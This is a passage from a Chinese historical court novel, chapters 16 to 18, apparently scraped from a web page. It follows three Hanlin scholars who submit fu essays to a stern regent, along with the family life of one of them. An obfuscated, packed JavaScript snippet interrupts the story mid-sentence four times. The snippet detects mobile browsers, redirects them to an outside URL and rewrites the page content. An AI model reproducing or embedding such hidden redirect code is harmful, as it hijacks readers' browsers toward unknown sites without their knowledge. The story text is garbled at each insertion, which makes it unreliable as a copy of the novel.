“今日之事,错在于我,怪我才学不精,连累了二位。”摆摆手示意他们也不必再说,拉开椅子她也坐下,缓解下俱疲的身心,“沈兄的话我听明白了,鹿兄的感受我亦懂,其实吾等三人所有的龃龉点,都在身上这誉称上。或许誉称散了,吾等也能各自安生了。” 鹿衡玉不大明白:“散?如何散?” 先帝金口玉言定下的三杰美誉,如何散得? “人聚,誉称在,人散,誉称便也解了。”迎着两人震惊的神色,陈今昭解释道,“它分量最重的时候,是吾等三人同活跃于朝野之时。但只要有其一能淡出朝野,淡出阖朝百官视线,在久不闻其名下,誉称其实也就名存实亡了。” 意识到什么,鹿衡玉的嘴唇都有些哆嗦:“今昭,你……” 陈今昭勉强笑笑:“你们不知,那篇赋文,我真的是尽力了,纵使两年下来笔力有所荒废,但也与我会试时候的水准相差不会过大。由此可见,我于此道的天赋当真是有限,月余时间恐远远不及千岁殿下的要求。” 说起来,她又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311219|166202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何曾不沮丧呢? 就光午膳的这小段时间,右侧的沈砚已经挥笔而就写完两篇,左侧的鹿衡玉也洋洋洒洒开始写第二篇。 一方是引经据典旁征博引,各类典故信手拈来,堪堪看上一眼,就只觉赋文的权威性扑面而来,让人望尘莫及。 另一方则是辞藻华丽烂若披锦,光读其句便觉眼前徐徐荡开繁丽画卷,美轮美奂,流光溢彩,让人流连忘返。 读二人的文章宛如视觉享受,试问谁人不爱? 反观自己,行文匠心很重,拘泥于形式生搬硬套,最终形成的文章虽严谨,却是没有灵魂的躯壳。 这般的赋文,上头能满意才怪。 所以她知道自己大概是被黜退的结局,但也没什么不甘的,编修本就是她的本职工作,既拿朝廷俸禄,那将上头交代的工作做到让人满意是应有之义。她业务能力不成,得此结果,自也怨不得旁人。 “嗐,说来也是有始有终了,事因我而起,也因我而终了。” 陈今昭浑不在意的摆摆手,故作轻松道,“正好我也能离京回乡,无论是去书院做个夫子还是在家收几个学生,日子也能过得轻松宽裕。旁的不说,起码用不着起早贪黑了。” 说到这时,她突然反应过来,这不是好事吗!其好处何止是不用起早贪黑啊。如能罢官,她再也不必每日战战兢兢的上值,穿着上峰给的小鞋、干着比骡子还多的活、受着上头劈头盖脸的斥骂、躲着同僚之间的勾心斗角、提防着可能波及己身的派系争斗……光是想想抛开这一切,她都要兴奋的飞起。 “且吴郡不似京都这般居不易,那时我可能只需攒上个两三年的银钱,就能买上个二进的房屋,供一家人宽宽敞敞的居住了。”那一家人就再也不必挤那一进的简陋屋子了。回乡后,稚鱼会有宽敞的闺房,小呈安也会有自己的书房,院子还可以种上花草,搭上葡萄架,那样的日子当真是好极了。 她越想越开心,连脸上挂着的俩偌大乌圈,都挡不住她的神采飞扬。至于前一刻的所谓强颜欢笑,嗐,那是什么? “对对,衣食住行,行也是十分紧要的。届时我还得买辆驴车,闲暇时就带着家人去四处看看,春踏青,夏游湖,秋登高,冬赏雪。尤其是小呈安渐大,所谓读万卷书不如行万里路,我更要带他四处走走,开阔眼界……” 本来因为即将的离别,鹿衡玉难受的都快要飚出泪来了,此刻看见眼睛都快笑没了的陈今昭,一瞬间,泪干了。 再听其还在滔滔不绝的说她对未来的规划,说对小呈安的培养、对家人的安排、对未来游学地点的选择、对各地风土人情的探究等等。对了,人家还说到时候给他寄特产呢。 鹿衡玉人已经木了,默默趴回案前奋笔疾书。 期间,他听到了沈砚吸气、呼气,再将纸揉成一团的声音。 偏这会有人来了胃口,正在开饭呢。 还说今天的饭食味道甚好,菜也合胃口,粥也合胃口,连那凉透的米团子也合胃口。 哦,敢情这么一遭下来,遭罪的就他跟沈砚呗? 16.第 16 章 陈今昭的快乐仅仅持续了短短一个晌午。 晌午过后,上官就开始催命似的催他们去交付文章。 三人本还想着等人过来收取,但见此刻上官已经要暴跳如雷了,遂也只能无奈捧起各自三篇文章,同出了殿往上书房的方向而去。 身后的上官抚胸勉强压下火气。磨磨蹭蹭的,不知所谓!不赶紧些的将赋文亲往上书房呈递上以示诚意,还磨蹭个什么劲?非要等阎罗王亲自过来收账吗!届时要是连他这个上官一道骂怎么办?他们可担得此责乎! 上书房内,刘顺朝大殿两侧的金猊炉里仔细添了沉香。稍顷,木质香糅杂着淡淡药香,就沿着镂空的炉盖徐徐上身,蔓延在殿中,令人闻之心旷神怡。 公孙桓将摄政王批好的折子分门别类放置另一侧案上,眼见着对方示意他将另外一沓新折子搬上来,不由劝道,“殿下不妨歇会,折子一时半会也批不完。” “九州各省公务积攒甚久,不可再耽搁下去。”姬寅礼翻开另一本新折,执朱笔批阅时,眉峰未动分毫,“若不入京,我还当真不知朝局竟糜烂至此,在外将官常年吃空饷,吃的那是脑满肠肥,在内朝官吃拿卡要,广占万顷良田还要层层盘剥,恨不能将底层百姓扒下三层皮来。” 饱蘸朱墨的笔尖落下,笔锋遒劲直透纸背。 最后一字写毕,他随手搁了朱笔,屈指叩击两下御案上的公折,“看看这户部奏本。江南今岁漕运折损近百万两,怕不是把本王当糊涂蛋来耍弄。” 公孙桓心惊的拿过御上的折子,从上至下扫过,眉头越皱越深。江南官场的贪腐程度怕也不遑多让,百万两漕运银竟也敢试图一笔来勾销,简直是胆大妄为至极。 甚至连遮掩都不尽心,不知是此行径由来已久、致使江南官场上下官僚皆已习以为常,还是有恃无恐,以为殿下的剑杀不进他们江南官场? 按住御座扶手起身,姬寅礼信步而至多宝阁前,从正中的紫檀剑架上取过厚重铁剑,掌腹轻抚过饱经风霜的剑鞘。 “这把剑跟了我有些年头,随我久经沙场,陪我九死一生。” 慨叹两声,他指骨猝然绷紧,拔开了浸满陈旧血迹的旧鞘。厚重铁剑噌然出鞘,森森剑气自带血光寒芒,自人眉骨刹那划过。 “混账东西,安敢如此欺吾!” 他并拢二指划过剑身,眉目未动,“是误以为我姬寅礼封了剑,还是当吾今朝剑,杀不得他们前朝臣?” 话落瞬间,他反身挥剑,一剑劈裂了旁边侧屏。 侧屏轰然倒塌,殿里宫人们瑟瑟伏身跪了一片,公孙桓亦躬身垂首。 铁剑入鞘,重新被搁置于多宝阁中。 “都起来罢。”他踅身回了御座,翻开本新折阅览起来,“文佑,去拟旨意,命两江总督、江苏巡抚、安徽巡抚、以及江南的布政司、按察使,最晚七月中旬入京述职,不得延误。” 公孙桓没有丝毫异议的应下,转身回了旁侧的案几前,提笔开始草拟圣旨。 实话说,他亦有些佩服江南官场上,在此节骨眼上敢顶风作案的那些官僚们。或许是江南隔京都过远,遂其官员不知个中厉害。即便有所耳闻,但耳朵所听哪及亲眼所见来得震撼。 没瞧见,京城诸公现已经安分了许多了。 提起京中诸公,公孙桓突然想起近来发生的事,不由先搁了笔,就要推案站起,却被御座上的人抬手示意坐着说。 公孙桓有些沉凝的说起了,近来京中不同寻常的氛围。 “因为在安排咱的人入各部衙门之前就三令五申过,不得与京中朝官随意起冲突,所以刚开始倒也相安无事,咱的人也在慢慢适应京中官场这方水土。但近些时日起,臣下发现人心隐隐有些异动,武官们对京中朝官隐有抵触不满趋势。” 姬寅礼批阅奏折的动作未停,只问:“可有起过冲突?” “大冲突倒是没有,就是有几番口角。” “是章武、阿塔海他们先寻隙滋事的?” 公孙桓苦笑:“什么都瞒不住殿下。” “那些个莽夫,最擅长的可不就冲锋陷阵。”姬寅礼执笔蘸了墨,一针见血指出:“这是有人在背后鼓噪,文武对立。现在是西北武官与京都文臣对立,来日,谁知不是西北文武官员自相内讧。” 抬头往面色凝重的公孙桓那看去一眼,姬寅礼笑说,“你以为朝中这些儒生经年苦读都是白读的?能在宦海沉浮多年的,哪个不是老谋深算、深暗权谋机变?他们那些奇诡计谋层出不穷,令人防不胜防。这不,人家面都未露,咱的人已经开始摩拳擦掌、冲锋陷阵了。” “所以啊,文佑,万万别小瞧了朝中这些公卿们。” 公孙桓面色几经变换。确如殿下所言,不容小瞧了这些满朝公卿,就拿近来京中异动来说,他们竟能神不知鬼不觉的挑唆武官与文臣对立,的确能称上句奇诡手段了。 他都能想象到,照这般趋势下去,或许都用不着旁人再做什么,他们自己人就会自内部土崩瓦解了。 心中不由多了几分迫切,“殿下,那臣下这就去制止章武他们……” “不急,总得让后面躲得最严实那人,露出些马脚。”姬寅礼暂搁了笔,舒展筋骨身躯朝后仰靠,掀眸望向公孙桓,似笑非笑,“再者,西北贫瘠土地上长出的林木,在京中这富贵窝里,有多少是陷倒其中,又有多少是扎根其中,我总得试试成色。” 公孙桓便不再言语。 作为土生土长的西北人,他何曾没有私心,也望在朝堂之中,西北一派的官员能够扎根、壮大,名扬九州。但也知道这样是于国无意的,若真到那日,那又与今日的士林党有何区别?不过是另外一群国之蠹虫罢了。 神思渐渐清明。为国朝长远考虑,修剪蔓枝,扶持良枝,势在必行。那些所谓私心,在他满腹理想抱负面前,实不堪一击。 想通过后,公孙桓心绪也彻底平复了下来。 “可想明白了?” 公孙桓遂恭谨的躬身行礼:“多谢殿下提点,桓朝闻道,夕死可矣。” 姬寅礼笑说:“不必说得如此严重。” 正在此时,外头宫监捧了一沓赋文小步进殿,禀说是那翰林院那三杰呈上的。 姬寅礼凤眸微挑:“人可还在外头。” 宫监忙回禀:“回殿下,他们还候在殿外,等候殿下吩咐。” “那宣他们三进殿罢。” “喏。” 陈今昭三人本以为就是跑一趟呈上赋文的事,哪知还会意外受到摄政王的宣召,一时间不由都有些震惊与无措。 沈砚出身世家,养气功夫足些,所以面上倒也未过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15317204|166202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多显露出紧张情绪,只伸手抻抻衣袖,整整衣冠。 鹿衡玉却没那般好的心理素质,惊得心都快跳到了嗓子眼,算是体会了把陈今昭昨晚乍然惊恐的情绪。不禁望向旁侧人,想问问昨夜见王驾时的情形,是否有需要注意之处。哪知一撇头,却见对方已经开始抬袖,频频擦额上冷汗了。 得了,这还能问出个什么来? 宫监再次催促了声,三人也不敢再耽搁下去,各自整好仪容,并排迈进殿中。 御座之人抬目望去,就见在殿内袅袅轻飏的沉木青烟中,龙姿凤采的三位年轻官员,自夏日午后耀眼的日光中走进了殿。 他们在御案前站立,齐齐躬身拱手,朗声道: “微臣沈砚/微臣鹿衡玉/微臣陈今昭,恭请千岁殿下躬安。” 傲骨嶙嶙的状元,秾艳俊美的榜眼,以及清癯脱俗的探花,三位年轻官员各具风采,令人赏心悦目,着实是养眼。 姬寅礼心情不错的笑着叫起。 “见到尔等三人,方让本王明了,何为自古英才出少年。” 三人再次拱手齐声:“千岁殿下谬赞,臣等不敢当。” 此刻御座之人如此和颜悦色,好似完全忘记了,今早特意派人过去申饬他们的事。但他们又不是集体失忆,大清早被劈头盖脸痛骂的惨痛场景还历历在目,哪里能忘?每每想起,无不心下一紧,面对御座那人更是难以松懈心神。 刘顺适时的将那沓赋文呈递了上去。 姬寅礼拿过最上面一篇,目下十行览过后,不免击节而赞,“好文章。昔年我在西北时,就亦有耳闻,荥阳出了个了不得的大才子。如今一见,便知盛名之下无虚士。” 沈砚谦逊回了句,殿下过誉了。 听着御座处传来的纸张翻动的声响,鹿衡玉默数着那翻动的张数,待数到三的时候,不由得刹那屏息。每人三篇赋文,翻完三页宣纸,就要轮到他的了。 姬寅礼拿过第四篇赋文,抬目上下扫过,亦满意颔首。 “文章锦心绣腹,也是难得的佳作。” 鹿衡玉暗松口气,他这关是过了。 同样谦逊的回应了句,而后他朝陈今昭的方向偷瞄去眼,暗暗有些担心。 陈今昭此刻快要晕了。入耳的纸张翻动声宛如符咒,一声声的拍上她脑门,拍入她灵魂深处,恨不得将她拍进十八层地狱。 额上的汗珠顺着苍白的脸颊滑落,滴落在她脚前的玉石地砖上。她于内心一遍遍虔诚的祈祷着,莫再翻了,恳求万万别再往下翻了……但显然,她的祈祷没有起到丝毫用处。 待听到第六页翻动声时,她感觉霎时天地间所有声音都消失了。 而此刻,整个大殿确是寂静无音。 在视线落在第七篇赋文上时,御座上那人好半晌没出声。 好半会,姬寅礼方将那篇赋往案面一推,身躯稍微后靠,抬了眼皮看向殿前那面容苍白清癯之人。 “探花郎是对本王有情绪了?”他笑着懒声问。 一句话,却差点让三个人都站不稳。 沈砚抬手就要解释,“殿下……” “都退下罢。”姬寅礼淡淡挥手,转向公孙桓笑问,“旨拟完否?” “殿下稍等片刻,还差最后一小段。” “不急。” 17.第 17 章 回翰林院的路上,在经过一偏僻路段时,鹿衡玉忍不住拉过陈今昭,急切的焦灼道:“陈今昭,莫要再想着敷衍应付过去,否则就算被黜退离朝,我也怕你不能活着离京。” 此话绝非他危言耸听。上位者的喜恶,本就关乎着底下人的命运,何况如今上面那位殿下又实非心慈手软之辈。若要他误以为陈今昭因当众受责一事而心生怨怼,那便大事不妙了!届时,即便那位懒得计较,也自有下面的拥簇者一拥而上,将陈今昭这个胆敢冒犯尊者的人撕个粉碎。 沈砚也面色沉凝的接口:“明日交付的文章务必要全力以赴,就算不能有所精益,也绝不可差于你昨夜那篇祭祀昊天的赋文。否则,易让那位误以你,在意图挑衅他亲王殿下的颜面。”真要如此,那陈今昭的处境就要大不妙了。 陈今昭哪有不应之理?今个也着实吓着她了。 即便那人只似是随口笑说了那么一句,可谁又敢真拿这话只当玩笑?哪怕其中掺杂的真意只有一丝半点,可于她而言都不啻于滔天大祸了。 想起上书房里,那刘大监朝她笑幽幽投来的一瞥,她至今都觉毛骨悚然。那瘆人模样,让人只觉他好似随时都能掏出三尺白绫,而后从人身后绕颈缠裹,再狠力拉下去。 沈砚瞧她惨白虚脱的模样,眉峰拧起:“此事亦非甚难,你倒也不必太过忧虑。这样,今日下值时,你先不急于归家,且将你昨夜所写赋文默下来,我给你看看还有何改进之处。” 鹿衡玉也道:“就是,我也会帮衬着你些的。你不必想的过难,日后只要比照着旧文,每篇赋文有无所进就能轻易察觉。届时若哪处无所进益,及时改进便是。” 陈今昭感动的快要眼泪汪汪,真心感激他们的仗义相助。 二人所提也是她先前隐忧之事。她也想精进啊,也何曾想敷衍了事,实在是整夜呕心沥血、查遍典籍后写的文章尚不入人眼,那公务繁忙之余,仓促草率下抽暇成的文章,又要拿什么来精进? 且还是每日三篇! 就算是夜夜不眠不休的奋笔疾书,熬不熬死自个且先不提,就所出结果怕也很难差强人意。所以她还能怎么办呢? 回翰林院时,三人已经收拾好情绪,从面上看不出异常。 众人视线在三人身上落了几息后,就继续低头忙手头上的工作。翰林院上官见他们平安归来,也当一切顺利,遂也没再多说什么。 酉初时分,翰林院同僚们开始收拾东西,相互寒暄着,陆续出了殿门。 沈砚与鹿衡玉围着她那篇赋文,开始逐段点评起来。 陈今昭虚心听着,不住点头,握着笔杆不断挥舞,将二人所提优劣点、以及改进之处,全都记录下来。 “陈今昭你看,此赋你用了骈体、散体,唯独缺了骚体。如此整篇读赋文下来,可不就似缺了金章玉句,读起来没那花团锦簇的绮靡。”鹿衡玉难得耐心的讲解一通,指着上面描写焚祭祝文上达天听的一段,“这处或可以青烟扶摇兮来起首,行文结构会更佳。” 沈砚有不同见解:“非是文体的事,还是内容空洞无物。旁征博引过少,纵是有几处横贯行文,也是言之无物大谬不然。譬如起首,既写昊天,何不引轩辕、武王,既写泰坛,又何不引唐宗封禅?” 鹿衡玉独出己见,坚持要以文体为重。 沈砚回驳过去,认为行文引经据典更为紧要。 两人各执己见,一言一语的争论起来。 夹在中间的陈今昭也不敢随意吭声,只闷头将手中笔杆舞出残影。 不知何时,日头已从西斜至落山,天地间蒙上了薄薄的暮色。远处传来了整点的打更声,再过半个时辰,就是宫里下钥的时间。 陈今昭与沈砚也不敢再耽搁下去,告别值宿的鹿衡玉,就脚步不停的出宫去了。 一路上二人也没有多言,实在是这一整日糟心事过多,皆是身心俱疲,累得慌。 宫门处分别,与对方相互拱拱手,就上了各自的车马。 陈今昭顶着昏涨的脑袋爬上了骡车,刚进车厢就瘫坐下来,四肢摊开后背无力歪靠着厢壁。 “少爷,你还好吗?” 长庚掀开半旧车帘,担忧的瞅瞧着里头仿佛被抽干精气神的人。 陈今昭闭着眼,有气无力回了声:“没事……回家吧。” 永宁胡同,陈母等人早就提灯在屋外檐下等着,待骡车一停下,就赶忙围上前来。 “今日如何这般晚?可是有什么事绊住了脚?”陈母语气含着担忧,尤其见陈今昭眼底青黑,满面苍白,神情又是藏不住的疲倦,不由又心疼道,“你们上官也是,从前都是两人来值守,好歹还能轮流歇歇。如今只让一人来守,彻夜不眠不说还得上一整日值,哪个受得了?” 陈今昭由陈母跟长庚搀扶着下了车,眯眼在原地伸了个懒腰,顺手捏捏小呈安胖嘟嘟的小脸,“没事,我身子骨年轻,休整一夜就好了。也是今日上头派个紧急公务,这方忙到了现在。” “别仗着年轻就糟践身子骨,要不等老了就有你受的。下次要是轮到你值宿,瞧着没人就趴案上小憩会,别傻傻的睁眼到天亮。”陈母嗔怪着,拉着她胳膊往屋里走,“赶紧进屋吃饭,都热两回了,好悬没重新再热一回。” “哎呀,再有这般情况,你们就先用就是,莫再等我了。” “那哪成,一家人就要一起用饭。” 进了屋,就见半旧不新的餐桌上已经摆上了饭菜。 一家人说笑着入了座,陈今昭左右两侧依旧分别是稚鱼与抱着小呈安的幺娘。 “哥!”陈今昭刚拿起筷子,就感觉左侧袖子被人拉扯了下。疑惑的侧过脸看去,就见稚鱼不满的嘟着嘴。 “啊,怎么了稚鱼?” 稚鱼哼了声:“我生气了,你都没注意到人家头上的绢花。” 陈今昭定睛一看,可不是嘛,今个小妹的双丫髻上,不似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330235|166202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从前只有个光秃秃的发带,发间还别了朵小巧精致的鹅黄色绢花。这般一打量,就觉往日还显稚气的小妹,让这鹅黄色的绢花一衬,格外的娇俏可爱。 “这绢花可是娘做的?那娘手艺可真好。” 眼见着稚鱼脸都要垮了,陈今昭这才笑着揪下她的发带,“逗你的,小鼓气包。咱家小稚鱼真厉害,心灵手巧,人也长得水灵灵的。瞧今个这绢花一戴,我还以为是谁家俏姑娘走错门了呢。” 稚鱼这才转嗔为喜,乐滋滋的拿起筷子吃饭。 小呈安小手指刮刮脸,说他姑姑不知羞。 稚鱼翻了白眼,给他比了个口型,夜、哭、郎。 陈今昭摇头失笑,不去理会左右的眉眼官司,夹菜慢吃了起来。在舀着蛋花汤喝时,突然想到今个值宿的鹿衡玉,遂对陈母说了句,让她明早卧两咸鸭蛋。 “又是给你那鹿同年带的?” “嗯,他最好这个,尤其喜欢娘腌的,说是满京城都找不出第二家来。” 陈母不由高兴,就道:“那等明早我再给烧个红烧茄盒,到时你带给他。我记得他也挺喜欢吃这个。” 饭后,陈今昭就直接洗漱回房了。 知她今个疲惫,陈母他们也不多打扰,带着稚鱼与呈安就去东厢房,也准备睡了。 屋里,幺娘见陈今昭官服脏了,就从柜子里拿出一套干净的,仔细抻好挂在床前的木架上。 陈今昭躺在柔软的被褥中,沾床瞬间就控制不住的想要昏睡,可还是强忍困倦,唤了声:“幺娘。” 闻声,正在屋里收拾的幺娘就停了手中的活。她低着头,几乎脚步无声的走到床榻边,掀开半旧的青色床帐,沉默的坐在榻边一角。 陈今昭真的很想闭眼叹气,每每见幺娘,她总有一种深深的无力感。自幺娘投奔她家那日起,就仿佛低人一等般,从不抬头看人。无论她说过多少回,对方都仿佛听不进,依旧按照自我的标准行事,生生将自己定在为奴为婢的位置上。 “幺娘,近来娘可有提过给稚鱼相看人家?” “有过……不过南巷的人家,娘看不上。” 陈今昭也不太意外,她娘突然肯让稚鱼打扮起来,定是有这方面想法的。 “幺娘,稚鱼的亲事,我自有安排,所以平日帮我盯紧些,切莫让娘胡乱将稚鱼定下。” “我知道了……表兄。” 幺娘低低的垂了眼。 陈今昭再难掩困倦的闭了眸。昏睡前依旧在想,她亲手娇养大的妹妹,养在手心里的明珠,她是绝不允许嫁去旁人家里受磋磨。她无法眼睁睁看着她娇养大的妹妹被婆母给立规矩、给男人洗手作羹汤、经历后宅残酷的妻妾相争、男人的负心薄情、以及被催生、还有生产时遭遇保大保小生死置于人手的悲惨境地。光是想想,都让她不寒而栗。 所以她早有安排,要么让稚鱼招赘,要么养她一辈子。 绝无第三种情况。 18.第 18 章 翌日,宣治殿前点卯完毕,陈今昭提起食盒就脚步如风的往翰林院方向疾跑。身后沈砚还没来得及出口招呼声,一抬头人就见人只剩个疾步如飞的背影了。 他无奈摇摇头,抱着书箧亦加快脚步赶往翰林院。 有些蔫哒哒的鹿衡玉,在见到陈今昭提着食盒小跑进来时,整个人刷的下来了精神。他当即两三步迎上去,毫不客气的一把接过那略有分量的食盒。 “算你小子有良心。”鹿衡玉迫不及待的打开食盖,顿时煎着金黄色酥边、裹满香郁酱汁的茄盒,就映入他发亮的双眼中。 等不及陈今昭帮忙端出来,鹿衡玉就直接捏了个塞进嘴里,咬开酥香的脆壳时,不免心满意足的感叹,“还是陈姨知道疼我啊。要指望某人,今早铁定又是两咸盐蛋。” “咸鸭蛋在底下那层呢。”陈今昭推开窗户的间隙,不忘白他一眼,“怎么,不是你说的你最爱吃吗。” “不是陈今昭,你动动你那脑袋想想,有大清早让人干吃咸鸭蛋的吗?你是生怕齁不死我啊。” “谁让你大清早吃?我那不是拿给你用来晌午下饭的吗。” “我倒是想留到晌午啊,可关键是那两蛋明晃晃馋我,我忍得住吗?”说话间,他已经磕碎了其中一咸鸭蛋的皮,边剥边有些遗憾道,“搭配米粥来用,方是最佳啊。可惜啊,可惜。” “得了吧你,装模作样的。等回头我让长庚给你送一篓过去。这总成了吧?” “那敢情好,正好上回那篓也见底了。” 透过槅扇窗远远瞧见了同僚的身影,陈今昭就回头催促了声,“快别说话了,赶紧点用完,一会他们人就要过来了。” 沈砚抱着书箧进来时,见到的就是吃的满嘴生香的鹿衡玉,以及正奋力扇着蒲扇去味的陈今昭。 “沈兄,日安。” 陈今昭有些尴尬的笑着打招呼,在这会见到他人时方忽的反应到,先前在宣治门殿前时,竟忘记跟沈砚打声招呼了。 实在是这些年她习惯性忽略他,一时半会就没反应过来。再加之她今个早是掐着点入宫的,脑中又时刻想着得赶紧给鹿衡玉送饭过去、可莫让里头酥脆的茄盒放软了,这方又无意识将人忽略了去。 沈砚也回了句日安,而后就抱着书箧来到自己案前。 见对方面上似也没什么不满情绪,陈今昭悄悄松口气,赶忙提了壶去隔壁侧殿接了热水沏了茶,而后回来给他们俩的茶碗各倒满了茶水。 “咦,这摞册子是……” 陈今昭刚放下茶壶,回头就瞧见自己案面上,不知何时多了厚厚一摞册子。观那些文册纸张的泛黄程度,有新有旧,最面上的一小沓纸上墨迹崭新,瞧似是最新书写。 “这是我昔日赶考时候用的,有关赋文的一些籍册。对了,上面那沓是我昨夜整理出来的些许心得,你或许用得上。” 陈今昭吃惊的望着厚厚的文册,又忽的转头看向满脸淡然的沈砚,当真是又震惊又感动,“这、这如何使得?让沈兄这般费心费力,我真是……” 明明从前双方关系那般僵滞,如今人家却肯花时间精力来倾力待她,着实让她感动之余又惭愧。惭愧的,是自己往昔对他的那些偏颇印象。 “小事而已。”沈砚不甚在意道。 晌午过后,上官又开始催命般的催他们去交付文章。 三人出了翰林院,照旧往上书房的方向赶去。 不过与昨日不同的是,今日的陈今昭捧着三篇赋文,心中有了几分底气。 昨夜经过他们二人的几番点拨,她于赋文一道上多少是有些开悟了。再经午膳时分二人的轮番提点,她觉得今日这三篇赋文,比之最先的那篇祭祀昊天赋,有着明显的进步。 三人依旧是候在上书房殿前。 不多时,有宫监出来,收走三人的文章捧着入了殿。 稍稍令人心安的是,今日上头那人并未宣他们进殿。 约莫又等了小半刻钟的时间,那穿着绛纱袍的刘大监模样带笑的从殿里出来,双手还托着个红木小盘。 “三位大人,接赏罢。千岁殿下夸奖说今个的文章还不错,好歹是用心用意了,特地让奴才给大人们送赏过来,以兹鼓励。” 刘顺笑眯眯的将红木托盘上,三个做工极为考究的蜀锦香囊,往他们面前呈递过去,罕见露出个和善的模样,“殿下说了,望诸位戒骄戒躁,磨砺以须,只要继续有所精益,下月初,就取消对三位的惩戒。” 今日往回走时,陈今昭等人的脚步是松快的。 没想到今个轻易过了此关不说,竟还有意外之喜。 “早就耳闻摄政王千岁治下严谨,赏功罚罪,皆有据可依。听闻在西北军中时,其陟罚臧否只按军中律令而施,任何人的情面都不好用。如此观其行事,确是果如传言。” 途中,沈砚倒是几分中肯的说道。 陈今昭与鹿衡玉亦有所感。其实说起来,入朝为官的这两年,他们真切的感受到国朝的律法威严正在一步步在减弱。先帝宽刑省法,致使威刑不肃,尤其至其临朝末岁时,朝堂许多公卿更是肆意行事,凭个人喜恶自定纲纪,几乎视律法为无物。如今若那上位者能整肃朝纲,严苛律法,于国朝来说,何尝不是件好事。 宫中不好聊政事,所以这个话题也就一笔带过。 鹿衡玉瞧见陈今昭时不时的就摸摸袖口,不禁打趣道,“这回不用再叫苦连天了罢?” 陈今昭这会正美滋滋的感受着,袖中蜀锦香囊那沉甸甸的分量呢。先前她偷偷打开看过,里面金灿灿的一片差点晃花了她的眼!她着实没想到,那位看似不近人情出手却很大方,随手赏赐就是一整袋金瓜子。 “嗐,那不叫苦,那叫宝剑锋从磨砺出。” 那是上峰刻薄严苛吗?不,那她的文章太差了啊。 说笑间,陈今昭也自然忘不了左右二人的相助之恩,忙不迭感激的对他们挨个施礼,“要无沈兄与鹿兄仗义相助,小弟这遭怕是悬了。”说着,又喜笑颜开道,“这回休沐日,我将于清风楼备些薄酒,诚邀两位仁兄前来小聚,以表谢意。还望二位万万赏光啊。” 这回两人倒无异议,只是表示,还是等顺利过完这月,再行庆祝不迟。 陈今昭也无有不应。 途中倒是出现一插曲,三人竟遇上了后宫太妃的鸾驾。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336280|166202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >远远见到鸾驾时,他们三人就赶紧朝两侧避开,躬身行礼,眼睛只盯眼前的地砖。直至鸾驾走远,才敢抬起了眼。 三人心中皆惊疑不定,因为这条路,是通往上书房的必经之路。 虽然他们心中各有百转千回,但谁也没将此事拿到明面说半字。余下的路程,他们走得快些,一路无言。 上书房内,姬寅礼打箭筒里抽出一矢,接过绢帕擦拭着漆黑箭簇。 刘顺搬动着青铜壶小心翼翼朝远处又挪了半矢,如此,青铜壶距御座的距离就足有五矢半。 刚将青铜壶摆好位置,刘顺就见一宫监匆匆打外头进殿,一进来就是副战战兢兢的模样,惊慌的眼神直往他的方向瞟。 刘顺心头一凛,正要悄步过去询问之际,突听上面传来平缓温和的声音。 “什么事,直说就是。” 那宫监一膝跪地,身子趴在地上没敢抬头:“回禀殿下,云……云太妃娘娘在外求见。” 耳边突兀传来叮当的一声,刘顺浑身一哆嗦,余光瞥见旁侧青铜壶里箭尾震颤的箭矢。 姬寅礼抬手示意宫人换新箭筒,反手抽出一矢后,眯眼打量着壶口方位,几番比划。 “她来做什么?让她回去。” 宫监颤栗的回:“可是云太妃娘娘说,说要是今日见不着殿下,就不回去了……” 姬寅礼动作稍顿,随即将手里箭矢一抛,箭矢在半空划过弧度,瞬息准确无误的落尽壶口,尾音震颤发出轻鸣。 “刘顺你去,直接让她有事说事。” 刘顺近乎是滴着冷汗退出了殿,转身面见那坚持候在殿外的云太妃时,耷拉下眼皮遮住里面的那丝阴霾。 “太妃娘娘,殿下让奴才来询问您,您过来可有何要事?毕竟上书房这地,委实不应是太妃娘娘该来的。” 云太妃听着这毫不客气的话,面无半分不虞,只凄然苦笑:“我还是那句话,只想求见殿下一面……” 